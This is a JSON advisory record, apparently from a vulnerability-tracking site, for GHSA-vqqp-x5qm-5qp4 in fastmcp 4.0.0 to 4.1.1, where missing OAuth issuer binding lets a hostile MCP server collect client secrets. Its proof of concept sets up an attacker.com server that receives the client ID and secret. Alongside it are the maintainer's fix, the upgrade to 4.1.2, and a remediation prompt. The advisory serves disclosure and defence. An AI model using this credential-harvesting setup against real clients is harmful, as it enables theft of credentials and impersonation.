{"answers":{"affected":"4 open source packages ship an affected version, including fastmcp and fastmcp-slim.","exploited":"There is no known exploitation of GHSA-vqqp-x5qm-5qp4 in the wild and no public exploit code.","fix":"Upgrade fastmcp to 4.1.2 or later.","what":"GHSA-vqqp-x5qm-5qp4 is a vulnerability in fastmcp, published on 23 Oct 2026."},"fix_prompt":"Check this codebase for GHSA-vqqp-x5qm-5qp4 and fix it if it is affected.\n\nWhat it is: GHSA-vqqp-x5qm-5qp4 is a vulnerability in fastmcp, published on 23 Oct 2026. \nExploitation: There is no known exploitation of GHSA-vqqp-x5qm-5qp4 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- fastmcp (PyPI): affected from 4.0.0a1; fixed in 4.1.2\n- fastmcp (PyPI): affected from 4.0.0a1; fixed in 4.1.2\n- fastmcp-slim (PyPI): affected from 4.0.0a1; fixed in 4.1.2\n- fastmcp-slim (PyPI): affected from 4.0.0a1; fixed in 4.1.2\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-vqqp-x5qm-5qp4/ (Markdown: https://insights.sbomify.com/GHSA-vqqp-x5qm-5qp4/index.md)","id":"GHSA-vqqp-x5qm-5qp4","markdown":"https://insights.sbomify.com/GHSA-vqqp-x5qm-5qp4/index.md","name":"GHSA-vqqp-x5qm-5qp4","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Maintainer assessment and remediation\n\nThis report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.\n\nAffected stable versions are 4.0.0–4.1.1 of `fastmcp` and `fastmcp-slim`. The wrappers were introduced in 4.0.0a1; 3.x does not include them.\n\nThe 4.1.2 fix adds `issuer` to `ClientCredentialsOAuthProvider` and `PrivateKeyJWTOAuthProvider` and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.\n\n**Configuration required for protection:** configure `issuer` with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits `MCPDeprecationWarning`. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.\n\n```python\nfrom fastmcp.client.auth import ClientCredentialsOAuthProvider\n\nauth = ClientCredentialsOAuthProvider(\n    client_id=\"my-client-id\",\n    client_secret=\"my-client-secret\",\n    issuer=\"https://auth.example.com\",\n)\n```\n\n## Original report\n\n### Summary\n\nfastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.\n\n### Details\n\nWhen fastmcp connects to an MCP server with OAuth client credentials:\n\n1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)\n2. Provider binds to server URL and discovers OAuth metadata\n3. Client exchanges credentials at the token endpoint\n4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises\n5. Attack: attacker-controlled MCP server advertises attacker's authorization server\n6. Result: client secret leaked to attacker\n\nAffected code:\n- fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)\n  * __init__ signature has no issuer= parameter\n  * _bind() calls super().__init__(server_url=mcp_url, ...) without issuer=\n\n- fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)  \n  * __init__ signature has no issuer= parameter\n  * _bind() calls super().__init__(server_url=mcp_url, ...) without issuer=\n\nThe underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.\n\nExample vulnerable usage:\n```python\nauth = ClientCredentialsOAuthProvider(\n    client_id=\"my-client-id\",\n    client_secret=\"my-client-secret\",\n)\nasync with Client(\"https://attacker.com/mcp\", auth=auth) as client:\n    # Client credentials get sent to attacker's auth server if attacker's MCP \n    # server advertises it in RFC 9728 metadata\n    await client.list_tools()\n```\n\n### Proof of concept\n\n1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises \n   OAuth metadata pointing to https://attacker.com/oauth/token\n\n2. Client code:\n   from fastmcp import Client\n   from fastmcp.client.auth import ClientCredentialsOAuthProvider\n   \n   auth = ClientCredentialsOAuthProvider(\n       client_id=\"legitimate-client-id\",\n       client_secret=\"legitimate-client-secret\"\n   )\n   async with Client(\"https://attacker.com/mcp\", auth=auth) as client:\n       await client.list_tools()\n\n3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)\n\n4. Attacker receives client_id and client_secret in Basic auth header\n\n5. Attacker can now impersonate the client against the legitimate authorization server\n\nThe vulnerability exists because fastmcp does not validate that the authorization \nserver advertised by the MCP server matches an expected issuer.\n\n### Impact\n\nSeverity: Medium-High\n\nAny application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, \nPrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs \nis vulnerable to credential disclosure and client impersonation.\n\nAffected parties:\n- Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers\n- Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is \n  attacker-controllable or the server is compromised\n\nAttack scenarios:\n- User misconfigures MCP server URL in Prefect agent config\n- MCP server URL obtained from user input without validation\n- Legitimate MCP server is compromised/redirected\n- MCP service provider (if SaaS) is compromised","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Maintainer assessment and remediation This report is accepted as a FastMCP credential-binding vulnerability.","id":"GHSA-vqqp-x5qm-5qp4","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"PyPI","product":null,"products":[],"type":null,"year":"2026"},"n_packages":4,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":["4.1.2"],"introduced":["4.0.0a1"],"last_affected":[],"package":"fastmcp","purl":null,"source":"GHSA-vqqp-x5qm-5qp4"},{"ecosystem":"PyPI","fixed":["4.1.2"],"introduced":["4.0.0a1"],"last_affected":[],"package":"fastmcp","purl":"pkg:pypi/fastmcp","source":"GHSA-vqqp-x5qm-5qp4"},{"ecosystem":"PyPI","fixed":["4.1.2"],"introduced":["4.0.0a1"],"last_affected":[],"package":"fastmcp-slim","purl":null,"source":"GHSA-vqqp-x5qm-5qp4"},{"ecosystem":"PyPI","fixed":["4.1.2"],"introduced":["4.0.0a1"],"last_affected":[],"package":"fastmcp-slim","purl":"pkg:pypi/fastmcp-slim","source":"GHSA-vqqp-x5qm-5qp4"}],"products":null,"published":"2026-10-23","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/GHSA-vqqp-x5qm-5qp4/"}